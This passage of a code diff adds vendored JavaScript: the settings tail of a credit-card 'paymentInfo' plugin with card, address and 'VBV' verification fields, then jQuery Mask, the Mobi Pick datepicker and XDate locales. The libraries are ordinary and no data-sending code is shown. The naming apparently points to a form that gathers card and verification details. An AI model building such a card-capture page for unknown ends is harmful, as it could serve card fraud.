prefixNumberClass: "phone-prefix",
|
||||
phoneNumberClass: "phone-number",
|
||||
saveButtonClass: "save-button",
|
||||
verifyButtonClass: "verify-button",
|
||||
cardDataBlockId: "card-data-block",
|
||||
addressFieldsBlockId: "address-fields-block",
|
||||
vbvImageClass: "vbv-image",
|
||||
cardVbvClass: "card-vbv",
|
||||
cardVbvBlockId: "card-vbv-block",
|
||||
textTitleClass: "text-title",
|
||||
buttonBarClass: "button-bar",
|
||||
animationWait: 600,
|
||||
focusDelay: 200
|
||||
};
|
||||
|
||||
}(jQuery));
|
||||
|
||||
$(".credit-card-group").paymentInfo();
|
||||
Vendored
+5
File diff suppressed because one or more lines are too long
Vendored
+14
@@ -0,0 +1,14 @@
|
||||
// jQuery Mask Plugin v1.13.4
|
||||
// github.com/igorescobar/jQuery-Mask-Plugin
|
||||
(function(b){"function"===typeof define&&define.amd?define(["jquery"],b):"object"===typeof exports?module.exports=b(require("jquery")):b(jQuery||Zepto)})(function(b){var y=function(a,c,d){a=b(a);var g=this,k=a.val(),l;c="function"===typeof c?c(a.val(),void 0,a,d):c;var e={invalid:[],getCaret:function(){try{var q,b=0,e=a.get(0),f=document.selection,c=e.selectionStart;if(f&&-1===navigator.appVersion.indexOf("MSIE 10"))q=f.createRange(),q.moveStart("character",a.is("input")?-a.val().length:-a.text().length),
|
||||
b=q.text.length;else if(c||"0"===c)b=c;return b}catch(d){}},setCaret:function(q){try{if(a.is(":focus")){var b,c=a.get(0);c.setSelectionRange?c.setSelectionRange(q,q):c.createTextRange&&(b=c.createTextRange(),b.collapse(!0),b.moveEnd("character",q),b.moveStart("character",q),b.select())}}catch(f){}},events:function(){a.on("input.mask keyup.mask",e.behaviour).on("paste.mask drop.mask",function(){setTimeout(function(){a.keydown().keyup()},100)}).on("change.mask",function(){a.data("changed",!0)}).on("blur.mask",
|
||||
function(){k===a.val()||a.data("changed")||a.triggerHandler("change");a.data("changed",!1)}).on("blur.mask",function(){k=a.val()}).on("focus.mask",function(a){!0===d.selectOnFocus&&b(a.target).select()}).on("focusout.mask",function(){d.clearIfNotMatch&&!l.test(e.val())&&e.val("")})},getRegexMask:function(){for(var a=[],b,e,f,d,h=0;h<c.length;h++)(b=g.translation[c.charAt(h)])?(e=b.pattern.toString().replace(/.{1}$|^.{1}/g,""),f=b.optional,(b=b.recursive)?(a.push(c.charAt(h)),d={digit:c.charAt(h),
|
||||
pattern:e}):a.push(f||b?e+"?":e)):a.push(c.charAt(h).replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&"));a=a.join("");d&&(a=a.replace(new RegExp("("+d.digit+"(.*"+d.digit+")?)"),"($1)?").replace(new RegExp(d.digit,"g"),d.pattern));return new RegExp(a)},destroyEvents:function(){a.off("input keydown keyup paste drop blur focusout ".split(" ").join(".mask "))},val:function(b){var c=a.is("input")?"val":"text";if(0<arguments.length){if(a[c]()!==b)a[c](b);c=a}else c=a[c]();return c},getMCharsBeforeCount:function(a,
|
||||
b){for(var e=0,f=0,d=c.length;f<d&&f<a;f++)g.translation[c.charAt(f)]||(a=b?a+1:a,e++);return e},caretPos:function(a,b,d,f){return g.translation[c.charAt(Math.min(a-1,c.length-1))]?Math.min(a+d-b-f,d):e.caretPos(a+1,b,d,f)},behaviour:function(a){a=a||window.event;e.invalid=[];var c=a.keyCode||a.which;if(-1===b.inArray(c,g.byPassKeys)){var d=e.getCaret(),f=e.val().length,n=d<f,h=e.getMasked(),k=h.length,m=e.getMCharsBeforeCount(k-1)-e.getMCharsBeforeCount(f-1);e.val(h);!n||65===c&&a.ctrlKey||(8!==
|
||||
c&&46!==c&&(d=e.caretPos(d,f,k,m)),e.setCaret(d));return e.callbacks(a)}},getMasked:function(a){var b=[],k=e.val(),f=0,n=c.length,h=0,l=k.length,m=1,p="push",u=-1,t,w;d.reverse?(p="unshift",m=-1,t=0,f=n-1,h=l-1,w=function(){return-1<f&&-1<h}):(t=n-1,w=function(){return f<n&&h<l});for(;w();){var x=c.charAt(f),v=k.charAt(h),r=g.translation[x];if(r)v.match(r.pattern)?(b[p](v),r.recursive&&(-1===u?u=f:f===t&&(f=u-m),t===u&&(f-=m)),f+=m):r.optional?(f+=m,h-=m):r.fallback?(b[p](r.fallback),f+=m,h-=m):e.invalid.push({p:h,
|
||||
v:v,e:r.pattern}),h+=m;else{if(!a)b[p](x);v===x&&(h+=m);f+=m}}a=c.charAt(t);n!==l+1||g.translation[a]||b.push(a);return b.join("")},callbacks:function(b){var g=e.val(),l=g!==k,f=[g,b,a,d],n=function(a,b,c){"function"===typeof d[a]&&b&&d[a].apply(this,c)};n("onChange",!0===l,f);n("onKeyPress",!0===l,f);n("onComplete",g.length===c.length,f);n("onInvalid",0<e.invalid.length,[g,b,a,e.invalid,d])}};g.mask=c;g.options=d;g.remove=function(){var b=e.getCaret();e.destroyEvents();e.val(g.getCleanVal());e.setCaret(b-
|
||||
e.getMCharsBeforeCount(b));return a};g.getCleanVal=function(){return e.getMasked(!0)};g.init=function(c){c=c||!1;d=d||{};g.byPassKeys=b.jMaskGlobals.byPassKeys;g.translation=b.jMaskGlobals.translation;g.translation=b.extend({},g.translation,d.translation);g=b.extend(!0,{},g,d);l=e.getRegexMask();!1===c?(d.placeholder&&a.attr("placeholder",d.placeholder),b("input").length&&!1==="oninput"in b("input")[0]&&"on"===a.attr("autocomplete")&&a.attr("autocomplete","off"),e.destroyEvents(),e.events(),c=e.getCaret(),
|
||||
e.val(e.getMasked()),e.setCaret(c+e.getMCharsBeforeCount(c,!0))):(e.events(),e.val(e.getMasked()))};g.init(!a.is("input"))};b.maskWatchers={};var A=function(){var a=b(this),c={},d=a.attr("data-mask");a.attr("data-mask-reverse")&&(c.reverse=!0);a.attr("data-mask-clearifnotmatch")&&(c.clearIfNotMatch=!0);"true"===a.attr("data-mask-selectonfocus")&&(c.selectOnFocus=!0);if(z(a,d,c))return a.data("mask",new y(this,d,c))},z=function(a,c,d){d=d||{};var g=b(a).data("mask"),k=JSON.stringify;a=b(a).val()||
|
||||
b(a).text();try{return"function"===typeof c&&(c=c(a)),"object"!==typeof g||k(g.options)!==k(d)||g.mask!==c}catch(l){}};b.fn.mask=function(a,c){c=c||{};var d=this.selector,g=b.jMaskGlobals,k=b.jMaskGlobals.watchInterval,l=function(){if(z(this,a,c))return b(this).data("mask",new y(this,a,c))};b(this).each(l);d&&""!==d&&g.watchInputs&&(clearInterval(b.maskWatchers[d]),b.maskWatchers[d]=setInterval(function(){b(document).find(d).each(l)},k));return this};b.fn.unmask=function(){clearInterval(b.maskWatchers[this.selector]);
|
||||
delete b.maskWatchers[this.selector];return this.each(function(){var a=b(this).data("mask");a&&a.remove().removeData("mask")})};b.fn.cleanVal=function(){return this.data("mask").getCleanVal()};b.applyDataMask=function(a){a=a||b.jMaskGlobals.maskElements;(a instanceof b?a:b(a)).filter(b.jMaskGlobals.dataMaskAttr).each(A)};var p={maskElements:"input,td,span,div",dataMaskAttr:"*[data-mask]",dataMask:!0,watchInterval:300,watchInputs:!0,watchDataMask:!1,byPassKeys:[9,16,17,18,36,37,38,39,40,91],translation:{0:{pattern:/\d/},
|
||||
9:{pattern:/\d/,optional:!0},"#":{pattern:/\d/,recursive:!0},A:{pattern:/[a-zA-Z0-9]/},S:{pattern:/[a-zA-Z]/}}};b.jMaskGlobals=b.jMaskGlobals||{};p=b.jMaskGlobals=b.extend(!0,{},p,b.jMaskGlobals);p.dataMask&&b.applyDataMask();setInterval(function(){b.jMaskGlobals.watchDataMask&&b.applyDataMask()},p.watchInterval)});
|
||||
Vendored
+2
File diff suppressed because one or more lines are too long
@@ -0,0 +1,402 @@
|
||||
/*
|
||||
* Mobi Pick - An Android-style datepicker widget for jQuery Mobile.
|
||||
*
|
||||
* Created by Christoph Baudson.
|
||||
*
|
||||
* Please report issues at https://github.com/sustainablepace/mobipick/issues
|
||||
*
|
||||
* Version 0.9
|
||||
*
|
||||
* Licensed under MIT license, see MIT-license.txt
|
||||
*/
|
||||
(function( factory ) {
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// AMD. Register as an anonymous module.
|
||||
define( ['jquery', 'jquery.mobile'], factory );
|
||||
} else {
|
||||
// Browser globals
|
||||
factory( jQuery, jQuery.mobile );
|
||||
}
|
||||
}( function( $, $mobile, undefined ){
|
||||
$.widget( "sustainablepace.mobipick", $mobile.widget, {
|
||||
options: {
|
||||
date : null,
|
||||
dateFormat : "yyyy-MM-dd",
|
||||
dateFormatMonth : "yyyy-MM",
|
||||
dateFormatYear : "yyyy",
|
||||
inputOrder : "d m y",
|
||||
locale : "en",
|
||||
intlStdDate : true,
|
||||
buttonTheme : "b",
|
||||
popup : {
|
||||
dismissible: false,
|
||||
history: false,
|
||||
overlayTheme: "a",
|
||||
positionTo: "window",
|
||||
theme: "a",
|
||||
transition: "none"
|
||||
}
|
||||
},
|
||||
// Controller
|
||||
_picker: $( [] ),
|
||||
widgetEventPrefix: "mobipick",
|
||||
destroy: function() {
|
||||
this._close();
|
||||
this.element.off( "tap click" );
|
||||
this._picker.popup( "destroy" );
|
||||
$.Widget.prototype.destroy.call( this );
|
||||
},
|
||||
_create: function() {
|
||||
this._initOptions(); // parses options
|
||||
this._createView(); // inserts markup into DOM
|
||||
this.element.on( "tap click", $.proxy( this.open, this ) );
|
||||
},
|
||||
_initOptions: function() {
|
||||
var date = this.element.val() || this.options.date,
|
||||
minDate = this.element.attr( "min" ) || this.options.minDate,
|
||||
maxDate = this.element.attr( "max" ) || this.options.maxDate;
|
||||
|
||||
if( date ) {
|
||||
this._setOption( "date", date );
|
||||
}
|
||||
// Min and max dates can be set in the markup.
|
||||
// See http://dev.w3.org/html5/markup/input.date.html
|
||||
if( maxDate ) {
|
||||
this._setOption( "maxDate", maxDate );
|
||||
}
|
||||
if( minDate ) {
|
||||
this._setOption( "minDate", minDate );
|
||||
}
|
||||
this._setOption( "locale", this.options.locale );
|
||||
},
|
||||
_init: function() {
|
||||
// fill input field with default value
|
||||
if( this._getDate() !== null ) {
|
||||
this.updateDateInput();
|
||||
}
|
||||
},
|
||||
open: function( evt ) {
|
||||
if( evt ) {
|
||||
evt.stopPropagation();
|
||||
evt.preventDefault();
|
||||
}
|
||||
var date = this._getDate();
|
||||
if( !this._isXDate( date ) ) {
|
||||
date = new XDate();
|
||||
}
|
||||
this._setOption( "date", this._fitDate( date ) );
|
||||
this._setOption( "originalDate", this._getDate() );
|
||||
|
||||
this._showView();
|
||||
this._updateView();
|
||||
this._bindEvents();
|
||||
},
|
||||
_bindEvents: function() {
|
||||
var self = this,
|
||||
p = this._picker,
|
||||
confirm = $.proxy( this._confirmDate, this ),
|
||||
cancel = $.proxy( this._cancelDate, this ),
|
||||
esc = $.proxy( this._cancelDateOnEsc, this );
|
||||
|
||||
// Set and Cancel buttons
|
||||
p.find( ".mobipick-set" ).off().on( "tap", confirm );
|
||||
p.find( ".mobipick-cancel" ).off().on( "tap", cancel );
|
||||
$( document ).off( "keyup", esc ).on( "keyup", esc );
|
||||
|
||||
// +/- Buttons
|
||||
var selectorMap = {
|
||||
".mobipick-prev-day" : "_prevDay",
|
||||
".mobipick-prev-month" : "_prevMonth",
|
||||
".mobipick-prev-year" : "_prevYear",
|
||||
".mobipick-next-day" : "_nextDay",
|
||||
".mobipick-next-month" : "_nextMonth",
|
||||
".mobipick-next-year" : "_nextYear"
|
||||
};
|
||||
for( var selector in selectorMap ) {
|
||||
(function() {
|
||||
var handler = self[ selectorMap[ selector ] ];
|
||||
p.find( selector ).off().on( "tap", $.proxy( function() {
|
||||
return self._handleDate( handler );
|
||||
}, self ));
|
||||
})();
|
||||
}
|
||||
},
|
||||
_close: function() {
|
||||
this._hideView();
|
||||
},
|
||||
_handleDate: function( dateHandler ) {
|
||||
this._setOption( "date", this._fitDate( dateHandler.apply( this ) ) );
|
||||
return false;
|
||||
},
|
||||
_confirmDate: function() {
|
||||
var proceed = true,
|
||||
dateDiff = this._getDate().diffDays( this.options.originalDate ),
|
||||
hasChanged = dateDiff !== 0 || this.element.val() === "";
|
||||
|
||||
if( this.options.close && typeof this.options.close === "function" ) {
|
||||
proceed = this.options.close.call() !== false;
|
||||
}
|
||||
if( proceed && hasChanged ) {
|
||||
this._setOption( "originalDate", this._getDate() );
|
||||
this.updateDateInput();
|
||||
this.element.trigger("change");
|
||||
} else {
|
||||
this._setOption( "date", this.options.originalDate );
|
||||
}
|
||||
this._close();
|
||||
return false;
|
||||
},
|
||||
_cancelDate: function() {
|
||||
this._setOption( "date", this.options.originalDate );
|
||||
this._close();
|
||||
return false;
|
||||
},
|
||||
_cancelDateOnEsc: function( evt ) {
|
||||
if( evt.keyCode === 27 ) {
|
||||
this._cancelDate();
|
||||
}
|
||||
},
|
||||
_setOption: function( key, val ) {
|
||||
switch( key ) {
|
||||
case "date":
|
||||
var sane = this._sanitizeDate( val );
|
||||
this.options[ key ] = sane ? sane.toDate() : sane;
|
||||
break;
|
||||
case "originalDate":
|
||||
this.options[ key ] = this._sanitizeDate( val ).toDate();
|
||||
break;
|
||||
case "maxDate":
|
||||
this.options[ key ] = this._sanitizeMaxDate( val ).toDate();
|
||||
break;
|
||||
case "minDate":
|
||||
this.options[ key ] = this._sanitizeMinDate( val ).toDate();
|
||||
break;
|
||||
case "intlStdDate":
|
||||
this.options[ key ] = !!val;
|
||||
break;
|
||||
case "locale":
|
||||
this.options[ key ] = this._isValidLocale( val ) ? val : "en";
|
||||
break;
|
||||
default:
|
||||
// Do not update view!
|
||||
return $.Widget.prototype._setOption.apply( this, arguments );
|
||||
}
|
||||
this._updateView();
|
||||
},
|
||||
//
|
||||
// Model
|
||||
//
|
||||
_sanitizeDate: function( date ) {
|
||||
if( date === null ) {
|
||||
return null;
|
||||
}
|
||||
var d = date;
|
||||
if( typeof d === "string" ) {
|
||||
d = new XDate( d );
|
||||
}
|
||||
if( this._isXDate( d ) ) {
|
||||
d = d.toDate();
|
||||
}
|
||||
if( !this._isDate( d ) ) {
|
||||
throw "Parameter 'date' must be a Date.";
|
||||
}
|
||||
return new XDate( d.getFullYear(), d.getMonth(), d.getDate() );
|
||||
},
|
||||
_sanitizeMinDate: function( date ) {
|
||||
var minDate = this._sanitizeDate( date );
|
||||
if( this._isAfterMaxDate( minDate ) ) {
|
||||
throw "Min date must be before max date.";
|
||||
}
|
||||
return minDate;
|
||||
},
|
||||
_sanitizeMaxDate: function( date ) {
|
||||
var maxDate = this._sanitizeDate( date );
|
||||
if( this._isBeforeMinDate( maxDate ) ) {
|
||||
throw "Max date must be after min date.";
|
||||
}
|
||||
return maxDate;
|
||||
},
|
||||
_getDateFormat: function() {
|
||||
switch( this.options.accuracy ) {
|
||||
case "month":
|
||||
return "dateFormatMonth";
|
||||
case "year":
|
||||
return "dateFormatYear";
|
||||
default:
|
||||
return "dateFormat";
|
||||
}
|
||||
},
|
||||
dateString: function() {
|
||||
var format = this._getDateFormat(),
|
||||
date = this._getDate();
|
||||
return !date ? '' : date.toString( this.options[ format ] );
|
||||
},
|
||||
localeString: function() {
|
||||
var l = this.options.locale,
|
||||
a = this._getDateFormat(),
|
||||
date = this._getDate();
|
||||
|
||||
return !date ? '' : date.toString(
|
||||
this._isValidLocale( l ) ? XDate.locales[ l ][ a ] : this.options[ a ]
|
||||
);
|
||||
},
|
||||
_fitDate: function( d ) {
|
||||
return this._isAfterMaxDate( d ) ? this._getMaxDate() :
|
||||
( this._isBeforeMinDate( d ) ? this._getMinDate() : d );
|
||||
},
|
||||
_isAfterMaxDate: function( d ) {
|
||||
var maxDate = this._getMaxDate();
|
||||
return this._isXDate( maxDate ) && d.diffDays( maxDate ) < 0;
|
||||
},
|
||||
_isBeforeMinDate: function( d ) {
|
||||
var m = this._getMinDate();
|
||||
return this._isXDate( m ) && m.diffDays( d ) < 0;
|
||||
},
|
||||
_isValidLocale: function( l ) {
|
||||
return typeof l === "string" && XDate.locales && XDate.locales[ l ];
|
||||
},
|
||||
_isDate: function( d ) {
|
||||
return typeof d === "object" && d !== null && d.constructor === Date;
|
||||
},
|
||||
_isXDate: function( x ) {
|
||||
return typeof x === "object" && x !== null && x.constructor === XDate;
|
||||
},
|
||||
_getMaxDate: function() {
|
||||
var maxDate = this.options.maxDate;
|
||||
return this._isDate( maxDate ) ? new XDate( maxDate ) : null;
|
||||
},
|
||||
_getMinDate: function() {
|
||||
var minDate = this.options.minDate;
|
||||
return this._isDate( minDate ) ? new XDate( minDate ) : null;
|
||||
},
|
||||
_getDate: function() {
|
||||
var date = this.options.date;
|
||||
return this._isDate( date ) ? new XDate( date ) : null;
|
||||
},
|
||||
_prevDay: function() {
|
||||
return this._addDay( -1 );
|
||||
},
|
||||
_nextDay: function() {
|
||||
return this._addDay( 1 );
|
||||
},
|
||||
_prevMonth: function() {
|
||||
return this._addMonth( -1 );
|
||||
},
|
||||
_nextMonth: function() {
|
||||
return this._addMonth( 1 );
|
||||
},
|
||||
_prevYear: function() {
|
||||
return this._addYear( -1 );
|
||||
},
|
||||
_nextYear: function() {
|
||||
return this._addYear( 1 );
|
||||
},
|
||||
_addYear: function( y ) {
|
||||
return this._getDate().addYears( y, true );
|
||||
},
|
||||
_addMonth: function( m ) {
|
||||
var date = this._getDate(),
|
||||
month = date.getMonth(),
|
||||
newMonth = ( 12 + month + m ) % 12;
|
||||
return date.setMonth( newMonth, true );
|
||||
},
|
||||
_addDay: function( d ) {
|
||||
var dt = this._getDate(),
|
||||
n = XDate.getDaysInMonth( dt.getFullYear(), dt.getMonth() );
|
||||
return dt.setDate( ( dt.getDate() - 1 + n + d ) % n + 1 );
|
||||
},
|
||||
|
||||
//
|
||||
// View
|
||||
//
|
||||
_markup_header: "<div class='mobipick-main'><div class='mobipick-date-formatted'>Date</div><ul class='mobipick-groups'>",
|
||||
_markup_d: "<li><ul><li><a class='mobipick-next-day'>+</a></li><li><input type='text' class='mobipick-input mobipick-day' /></li><li><a class='mobipick-prev-day'>-</a></li></ul></li>",
|
||||
_markup_m: "<li><ul><li><a class='mobipick-next-month'>+</a></li><li><input type='text' class='mobipick-input mobipick-month' /></li><li><a class='mobipick-prev-month'>-</a></li></ul></li>",
|
||||
_markup_y: "<li><ul><li><a class='mobipick-next-year'>+</a></li><li><input type='text' class='mobipick-input mobipick-year' /></li><li><a class='mobipick-prev-year'>-</a></li></ul></li>",
|
||||
_markup_trailer: "</ul><ul class='mobipick-buttons'><li><a class='mobipick-set'>Set</a></li><li><a class='mobipick-cancel'>Cancel</a></li></ul></div>",
|
||||
|
||||
_applyTheme: function() {
|
||||
var p = this._picker,
|
||||
buttons = {
|
||||
"bottom": "ul.mobipick-groups ul > li:first-child > a",
|
||||
"top": "ul.mobipick-groups ul > li:last-child > a"
|
||||
};
|
||||
|
||||
for( var key in buttons ) {
|
||||
p.find( buttons[ key ] ).addClass( "ui-corner-all" )
|
||||
.css( "border-" + key + "-left-radius", "0")
|
||||
.css( "border-" + key + "-right-radius", "0");
|
||||
}
|
||||
p.addClass( "ui-body-" + this.options.popup.theme + " ui-corner-all" );
|
||||
p.find( "a" ).attr( "href", "#" )
|
||||
.addClass( "ui-body-" + this.options.buttonTheme );
|
||||
p.find( "ul.mobipick-buttons a" ).addClass( "ui-corner-all" );
|
||||
p.find( "input" )
|
||||
.attr( "readonly", "readonly" ).addClass( "ui-shadow-inset" );
|
||||
},
|
||||
_createView: function() {
|
||||
this.element.attr( "readonly", "readonly" );
|
||||
var markup = this._markup_header +
|
||||
this.options.inputOrder.split(" ").map(function(v, i, a) {
|
||||
return this["_markup_" + v];
|
||||
}, this).join("") +
|
||||
this._markup_trailer;
|
||||
this._picker = $( markup ).popup( this.options.popup );
|
||||
$.data( this.element, "mobipick", this );
|
||||
this._applyTheme();
|
||||
},
|
||||
_updateView: function() {
|
||||
var date = this._getDate(),
|
||||
p = this._picker;
|
||||
|
||||
if( this._isXDate( date ) ) {
|
||||
p.find( ".mobipick-year" ).val( date.toString( "yyyy" ) );
|
||||
p.find( ".mobipick-month" ).val( date.toString( "MMM" ) );
|
||||
p.find( ".mobipick-day" ).val( date.toString( "dd" ) );
|
||||
p.find( ".mobipick-date-formatted" ).text( this.localeString() );
|
||||
}
|
||||
var locale = {};
|
||||
if( this._isValidLocale( this.options.locale ) ) {
|
||||
XDate.defaultLocale = this.options.locale;
|
||||
locale = XDate.locales[ this.options.locale ];
|
||||
}
|
||||
|
||||
p.find( ".mobipick-set" ).text( locale.ok || "Set" );
|
||||
p.find( ".mobipick-cancel" ).text( locale.cancel || "Cancel" );
|
||||
|
||||
// Display items based on accuracy setting
|
||||
var columns = p.find( ".mobipick-groups > li" )
|
||||
.removeClass( "mobipick-hide" )
|
||||
.addClass( "mobipick-inline-block" );
|
||||
|
||||
if( this.options.accuracy === "month" ) {
|
||||
p.css( "max-width", "280px" )
|
||||
.find( ".mobipick-groups > li:first-child" )
|
||||
.addClass( "mobipick-hide" )
|
||||
.removeClass( "mobipick-inline-block" );
|
||||
} else if( this.options.accuracy === "year" ) {
|
||||
p.css( "max-width", "200px" )
|
||||
.find( ".mobipick-groups > li:last-child" )
|
||||
.siblings().addClass( "mobipick-hide" )
|
||||
.removeClass( "mobipick-inline-block" );
|
||||
} else {
|
||||
p.css( "max-width", "300px" );
|
||||
}
|
||||
// minus 1% margin (left and right) per column
|
||||
var columnCount = columns.filter( ":visible" ).size(),
|
||||
width = ( ( 100 - columnCount * 2 ) / columnCount ) + "%";
|
||||
columns.css( "width", width );
|
||||
},
|
||||
_showView: function() {
|
||||
this._picker.show().popup("open").focus();
|
||||
},
|
||||
_hideView: function() {
|
||||
this._picker.popup("close");
|
||||
},
|
||||
updateDateInput: function() {
|
||||
this.element.val( this.options.intlStdDate ?
|
||||
this.dateString() : this.localeString()
|
||||
);
|
||||
}
|
||||
});
|
||||
}));
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,132 @@
|
||||
XDate.locales['fr'] = {
|
||||
monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin','Juillet','Août','Septembre','Octobre','Novembre','Décembre'],
|
||||
monthNamesShort: ["Janv","Févr","Mars","Avr","Mai","Juin","Juil","Août","Sept","Oct","Nov","Déc"],
|
||||
dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'],
|
||||
dayNamesShort: ['Dim.','Lun.','Mar.','Mer.','Jeu.','Ven.','Sam.'],
|
||||
dateFormat: "dddd, d MMMM yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Accepter",
|
||||
cancel: "Annuler"
|
||||
};
|
||||
XDate.locales['de'] = {
|
||||
monthNames: ["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],
|
||||
monthNamesShort: ["Jan","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],
|
||||
dayNames: ["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],
|
||||
dayNamesShort: ["So","Mo","Di","Mi","Do","Fr","Sa"],
|
||||
dateFormat: "dddd, d.MMMM yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "\u00dcbernehmen",
|
||||
cancel: "Abbrechen"
|
||||
};
|
||||
XDate.locales['en'] = {
|
||||
monthNames: ["January","February","March","April","May","June","July","August","September","October","November","December"],
|
||||
monthNamesShort: ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],
|
||||
dayNames: ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],
|
||||
dayNamesShort: ["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],
|
||||
dateFormat: "dddd, MMMM d, yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Accept",
|
||||
cancel: "Cancel"
|
||||
};
|
||||
XDate.locales['ru'] = {
|
||||
monthNames: ["Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],
|
||||
monthNamesShort: ["Янв","Фев","Мар","Апр","Май","Июн","Июл","Авг","Сен","Окт","Ноя","Дек"],
|
||||
dayNames: ["Воскресенье","Понедельник","Вторник","Среда","Четверг","Пятница","Суббота"],
|
||||
dayNamesShort: ["Вос","Пон","Вторник","Среда","Чет","Пят","Суб"],
|
||||
dateFormat: "dddd, MMMM d, yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Принять",
|
||||
cancel: "Отмена"
|
||||
};
|
||||
XDate.locales['he'] = {
|
||||
monthNames: ["ינואר","פברואר","מרץ","אפריל","מאי","יוני","יולי","אוגוסט","ספטמבר","אוקטובר","נובמבר","דצמבר"],
|
||||
monthNamesShort: ["ינואר","פבר","מרץ","אפר","מאי","יוני","יולי","אוג","ספט","אוק","נוב","דצ"],
|
||||
dayNames: ["ראשון","שני","שלישי","רביעי","חמישי","שישי","שבת"],
|
||||
dayNamesShort: ["א","ב","ג","ד","ה","ו","שבת"],
|
||||
dateFormat: "dddd, MMMM d, yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "אישור",
|
||||
cancel: "ביטול"
|
||||
};
|
||||
XDate.locales['it'] = {
|
||||
monthNames: ["Gennaio","Febbraio","Marzo","Aprile","Maggio","Giugno","Luglio","Agosto","Settembre","Ottobre","Novembre","Dicembre"],
|
||||
monthNamesShort: ["Gen","Feb","Mar","Apr","Mag","Giu","Lug","Ago","Set","Ott","Nov","Dic"],
|
||||
dayNames: ["Domenica","Lunedì","Martedì","Mercoledì","Giovedì","Venerdì","Sabato"],
|
||||
dayNamesShort: ["Dom","Lun","Mar","Mer","Gio","Ven","Sab"],
|
||||
dateFormat: "dddd, d MMMM yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Assumi",
|
||||
cancel: "Annulla"
|
||||
};
|
||||
XDate.locales['es'] = {
|
||||
monthNames: ["Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre"],
|
||||
monthNamesShort: ["Ene","Feb","Mar","Abr","May","Jun","Jul","Ago","Sep","Oct","Nov","Dic"],
|
||||
dayNames: ["Domingo","Lunes","Martes","Miércoles","Jueves","Viernes","Sábado"],
|
||||
dayNamesShort: ["Dom","Lun","Mar","Mié","Jue","Vie","Sáb"],
|
||||
dateFormat: "dddd, d 'de' MMMM 'de' yyyy",
|
||||
dateFormatMonth: "MMMM 'de' yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Aplicar",
|
||||
cancel: "Cancelar"
|
||||
};
|
||||
XDate.locales['nl'] = {
|
||||
monthNames: ["Januari","Februari","Maart","April","Mei","Juni","Juli","Augustus","September","Oktober","November","December"],
|
||||
monthNamesShort: ["Jan","Feb","Mrt","Apr","Mei","Jun","Jul","Aug","Sep","Okt","Nov","Dec"],
|
||||
dayNames: ["Zondag","Maandag","Dinsdag","Woensdag","Donderdag","Vrijdag","Zaterdag"],
|
||||
dayNamesShort: ["Zo","Ma","Di","Wo","Do","Vr","Za"],
|
||||
dateFormat: "dddd, d MMMM yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Overnemen",
|
||||
cancel: "Annuleren"
|
||||
};
|
||||
XDate.locales['sv'] = {
|
||||
monthNames: ["Januari","Februari","Mars","April","Maj","Juni","Juli","Augusti","September","Oktober","November","December"],
|
||||
monthNamesShort: ["Jan","Feb","Mar","Apr","Maj","Jun","Jul","Aug","Sep","Okt","Nov","Dec"],
|
||||
dayNames: ["Söndag","Måndag","Tisdag","Onsdag","Torsdag","Fredag","Lördag"],
|
||||
dayNamesShort: ["Sö","Må","Ti","On","To","Fr","Lö"],
|
||||
dateFormat: "dddd, d MMMM yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Klar",
|
||||
cancel: "Avbryt"
|
||||
};
|
||||
XDate.locales['pt-br'] = {
|
||||
monthNames: ["Janeiro","Fevereiro","Março","Abril","Maio","Junho","Julho","Agosto","Setembro","Outubro","Novembro","Dezembro"],
|
||||
monthNamesShort: ["Jan","Fev","Mar","Abr","Mai","Jun","Jul","Ago","Set","Out","Nov","Dez"],
|
||||
dayNames: ["Domingo","Segunda-feira","Terça-feira","Quarta-feira","Quinta-feira","Sexta-feira","Sábado"],
|
||||
dayNamesShort: ["Dom","Seg","Ter","Qua","Qui","Sex","Sáb"],
|
||||
dateFormat: "dddd, d - MMMM - yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Ok",
|
||||
cancel: "Cancelar"
|
||||
};
|
||||
XDate.locales['hr'] = {
|
||||
monthNames: ["Siječanj","Veljača","Ožujak","Travanj","Svibanj","Lipanj","Srpanj","Kolovoz","Rujan","Listopad","Studeni","Prosinac"],
|
||||
monthNamesShort: ["Sij","Velj","Ožu","Tra","Svi","Lip","Srp","Kol","Ruj","Lis","Stu","Pro"],
|
||||
